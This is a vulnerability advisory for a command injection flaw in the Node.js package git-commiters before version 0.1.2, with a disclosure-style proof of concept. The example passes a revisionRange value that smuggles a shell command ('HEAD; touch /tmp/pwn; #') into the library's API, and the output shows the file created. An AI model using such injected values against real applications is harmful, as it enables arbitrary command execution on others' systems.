`git-comiters` Command Injection vulnerability

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.

## Background on the vulnerability This vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)` which allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. ## Exploit 1. Install `[email protected]` or earlier 2. Initiaizlie a new Git directory with commits in it 3. Create the following script in that directory: ```js var gitCommiters = require("git-commiters"); var options = { cwd: "./", revisionRange: "HEAD; touch /tmp/pwn; #", }; gitCommiters(options, function (err, result) { if (err) console.log(err); else console.log(result); }); ``` 3. Observe new file created on disk at `/tmp/pwn` The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application. ```sh @lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js [ { email: '[email protected]', name: 'Morton Fox', deletions: 1, insertions: 1, commits: 1 }, { email: '[email protected]', name: 'Riceball LEE', deletions: 11, insertions: 1198, commits: 7 } ] @lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn -rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn ``` # Credit Liran Tal
